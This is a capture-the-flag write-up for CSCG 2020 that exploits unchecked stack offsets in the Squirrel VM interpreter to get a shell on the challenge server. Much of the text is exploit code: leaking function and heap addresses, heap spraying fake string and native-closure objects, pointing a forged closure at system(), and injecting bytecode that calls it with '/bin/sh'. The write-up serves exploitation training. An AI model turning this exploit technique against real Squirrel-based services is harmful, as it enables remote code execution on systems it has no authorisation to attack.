Exploiting the squirrel VM

This is my writeup for the “Squirrel As A Service” challenge from the CyberSecurityChallengeGermany2020. The Challenge server hosts a squirrel interpreter and the challenge was to find and exploit an 0day vulnerability in the interpreter/bytecode parser to achieve RCE on the challenge server.

I highly encourage you to do some research of your own and try to re-exploit this vulnerability if you want to gain some experience in “real life” binary exploitation. The squirrel VM is horribly broken and has many other vulnerabilities that I didn’t need to use. This makes it a nice target for intermediates at exploitation and fuzzing.

Vulnerability and Primitives

Reading through the squirrel VM code, I quickly noticed the lack of bounds checking in almost every instruction, related to fetching something from the stack, or the literals. This includes instructions like _OP_MOVE, which loads an object from an offset relative to the stack or _OP_CALL which calls an SQFunction object from an offset relative to the stack.

The squirrel VM stack is located on the native binary’s heap. This is also where all of the functions, vmInstructions, literals and runtime objects are located.

This gives us a very interesting and powerful primitive. If we can manage to build structures on the heap, that look like objects and if we can find the offset to these objects relative to the stack, the OOB accesses enable us to interface with these fake objects as if they had been created by the VM itself.

So what objects would we want to fake? The obvious target would be SQNativeClosure. These objects resemble the SQVM’s interface to native functions. If we could craft an SQNativeClosure, with its _function pointer pointing to system() we could just call it using the OOB access in _OP_CALL to get a shell.

So what do we need to do for this to work? First, we need to figure our, where to point our SQNativeClosure’s _function pointer to. system() is a function from the sqstdlib library so in order to calculate its address, we’ll need to leak the address of another function inside that library. Any function would work but I’ve chosen format().

Now we need a way of leaking the address of format()’s _function pointer. To keep it simple, I’ve decided to use SQString objects to leak data. This is the structure of such an object:

+--------------------------+ 0x00
| __vfptr (VTable ptr)     |
+--------------------------+ 0x08
| _uiRef                   |
+--------------------------+ 0x10
| _weakRef                 |
+--------------------------+ ...
| _sharedState             |
+--------------------------+
| _next                    |
+--------------------------+
| _len                     |
+--------------------------+
| _hash                    |
+--------------------------+
|      STRING_BUFFER       |  
|           ...            |
|           ...            |
+--------------------------+ 

As we can see, it doesn’t have a _data pointer to point to the actual string buffer. Instead, the string buffer is located right after the meta data of the string. This isn’t very nice for a leak, because if we want to leak data from an address 0x12345678, we can’t just craft a string object with a length of 0x8 and a data pointer pointing to 0x12345678. Instead we need to tell the vm, that a SQString object is located at 0x12345678-sizeof(SQString) because as we previously noted, the string data is located after the string meta data. This could be a prolem, since we probably don’t control the memory right before the data we’re trying to leak.

But the issue is fields like SQObject->VTable or the string length are now located at 0x12345678-sizeof(SQString)+offsetof(SQString, VTable) or 0x12345678-sizeof(SQString)+offsetof(SQString, _len). It’s very unlikely that the pointer at 0x12345678-sizeof(SQString)+offsetof(SQString, VTable) will be a valid SQString VTable pointer, so any calls to this would just crash the VM. And if the string length happens to land on nullbytes, it would make it impossible for us to read data back. Luckily we can use a couple of tricks to avoid these cases. First, we don’t need a valid VTable pointer, if we just read data from the string like this:

local leak = fakeString[0]

The same goes for most pointers in the SQString structure. The length however has to be set to an appropriate value. This is easy to do, since we don’t need to read to read from the the very start of the string, but instead can read from any index relative to the string base, as long as the lengths isn’t exceeded.

All we need to do is to find an address in memory, where interpreted as an SQString object, _len field would contain a large number. Then, we can just read data relative to that address using something like this:

local testRead = 0

for(local i=0x107; i < 0x100; i -=1) {
    testRead += fakeString[i] & 0xff;
    if(i != 0x100) {
        testRead = testRead << 8;
    }
}

This would read data from addrof(fakeString)+sizeof(fakeString)+0x100. We iterate over the string in reverse, to get the corrent endianness.

So much for the theorie, now on the actual exploit.

Exploit

Building the fakeobjects, will require a large buffer that we have very granual control over. We could use an SQString, but the blob object is bascially a raw memory interface, supports different data typed and its buffer doesn’t contain any meta data so it’s a far better choice.

We’ll just allocate 4kb of memory for our heap spray. This is large enough for us to predict a valid address inside of the buffer, but small enough to be allocated on the same memory page as the rest of the objects. This will have to be adjusted depending on the allocator.

local sSpray = blob(1024*40)

We’ll use two infoleaks for this exploit. This could be optimized to work with only one leak. The first leak is the address of the format() function. This function is part of the sqstdlib and leaking a function pointer from that library will allow us to calculate the address of system() which will get useful later on.

The second leak is the address of the print() function. Note that this time, we won’t be reading from that address but instead use it as is. Calling tostring() on an object yields it’s _unVal pointer. In the case of print(), that’ll be a pointer to its SQNativeClosure object, which is on the heap. So by calling tostring() on print, we’re able to get a valid heap address, which we can later use to calculate the offset of our blob on the heap.

local leak      = (format.tostring().slice(16,-1).tointeger(16))
local printLeak = (print.tostring().slice(16,-1).tointeger(16))

print(format("[i] Format is at: 0x%016x\n", leak))
print(format("[i] Print is at: 0x%016x\n", printLeak))

Now we need to prepare some things: readTarget refers to the address where _unVal of our fake sqTAGObject spray will point to. The type will be set to OT_STRING so readTarget will be interpreted as an SQString object.

We’re trying to leak the _function pointer of the native format() function. The leaked address will be stored in formatClosure.

win holds the string we’ll pass to system() at the end of this exploit to get our shell.

local readTarget    = leak-0x40
local formatClosure = 0
local win           = "/bin/sh\x00"

This is our first heap spray. We’re spraying a bunch of sqTAGObjects, with their type set to OT_STRING and _unVal set to readTarget.

Note that we’re not spraying SQString objects, but instead sqTAGObjects. This is because the VM instructions use sqTAGObjects as generic wrapper objects to interface with any SQObject. The sqTAGObjects indicate what type of objects their wrapping through their _type field and the address of that object through their _unVal field. In our case, we’re dealing with the SQString type and we want these object to be located at readTarget.

print(format("[~] Performing fakeString Spray with 0x%016x!...\n", readTarget))
for(local i=0; i < sSpray.len(); i+= 0x10) {
    #### Build fake sqTAGObject ####
    sSpray.writen(0x08000010, 'i')     # type OT_STRING
    sSpray.writen(0x42424242, 'i')     # padding

    sSpray.writen(readTarget, 'l')     # _unVal
}

The heap is now filled with our fake sqTAGObjects. Now we need to use the OOB read in _OP_MOVE to load one of our fake objects. This can’t be done through squirrel code, but instead we’ll have to inject a cutom line of assembly into the final cnut file.

local tmp = "AAAABBBBCCCCDDDD"

# --- ASM ---
# '[0x33] _OP_MOVE: 0x8, 0x%x, 0x0, 0x0' % ((0xd650+0x5000) >> 4) # this is the offset to our blob
                                                                  # relative to the vm stack

First we create a tmp string. It will later be overwritten to hold one of our fakeStrings but in order for the compiler to work properly, we need to give it some placeholder value.

tmp is now a fake SQString with its data pointing to format()’s SQNativeClosure. Our goal is to leak the _function pointer of this SQNativeClosure, which is located at offset 0x70 from readTarget. This is easy to do, because we can just iterate over the string to get the address and store it to formatClosure.

for(local i=0x77; i>=0x70; i -= 1) {
    local cur = tmp[i] & 0xff;
    formatClosure += cur;
    if(i != 0x70) {
        formatClosure = formatClosure << 8;
    }
}

print(format("[+] Got format _function leak: 0x%016x!\n", formatClosure))

Now we’re able to calculate the address of system() in sqstdlib!

local systemClosure = formatClosure + 0x4a0

With the leak compleated, we’re able to spray some more sqTAGObjects. This time, we’ll set the type to SQNativeClosure and the _unVal pointer to point to a fake SQNativeClosure object, located at the and of our blob.

print(format("[~] Performing fakeNativeClosure Spray with 0x%016x!...\n", systemClosure))

sSpray.seek(0x00) # padding
for(local i=0; i < sSpray.len()-0x80; i += 0x10) {
    #### Build fake sqTAGObject ####
    sSpray.writen(0x08000200, 'i')          # type nativeClosure
    sSpray.writen(0x43434343, 'i')          # padding
    
    sSpray.writen(printLeak+0x12700, 'l')   # _unVal --> SQNativeClosure
}

This is is the fake SQNativeClosure, that all the fake sqTAGObjects will be pointing to. Since we’re not calling to many operations on it, most of its fields like the VTable or the liked-list entries can be ignored and just zeroed out. This makes faking this object significantly simpler ;)

sSpray.writen(0x55545352, 'l')     # _vptr
sSpray.writen(0x00000001, 'l')     # _uiRef
sSpray.writen(0x00000000, 'l')     # _weakref
sSpray.writen(0x00000000, 'l')     # _next
sSpray.writen(0x00000000, 'l')     # _prev
sSpray.writen(0x00000000, 'l')     # _sharedstate
sSpray.writen(0x00000000, 'l')     # _nparamscheck
sSpray.writen(0x00000000, 'l')     # _typecheck->_vals
sSpray.writen(0x00000000, 'l')     # _typecheck->_size
sSpray.writen(0x00000000, 'l')     # _typecheck->_allocated
sSpray.writen(0x00000000, 'l')     # _outervalues
sSpray.writen(0x00000000, 'l')     # _noutervalues
sSpray.writen(0x00000000, 'l')     # _env
sSpray.writen(systemClosure, 'l')  # _function      !!!system!!!
sSpray.writen(0x08000010, 'l')     # _name->_type
sSpray.writen(0x00000000, 'l')     # _name->_unVal

print("[+] Getting fakeClosure!\n")

We’re all set! The heap has been prepared with our fake sqTAGObjects. Now, we need to prepare the parameters to call our fakeFunction with. We’ll use the literal at offset 0x7, which is /bin/sh\x00 (win), the one we created at the very beginning of this exploit.

# --- ASM ---
# '[0xc5] _OP_MOVE: 0xc, 0x7, 0x0, 0x0',

Now we need to call one of our prepared sqTAGObjects using the OOB read in _OP_CALL. The VM will look up it’s _function pointer, which we set to point to system() and then call it with the prepared parameters. This will end up calling system('/bin/sh\x00').

# --- ASM ---
# '[0xc6] _OP_CALL: 0xff, 0x%x, 0xb, 0x2' % ((0xd650+0x5000) >> 4),

That’s it. Enjoy your shell ;P

_config.yml

My final exploit can be found here: exploit.nut and here as assembled bytecode: exploit.cnut.

Written on June 11, 2020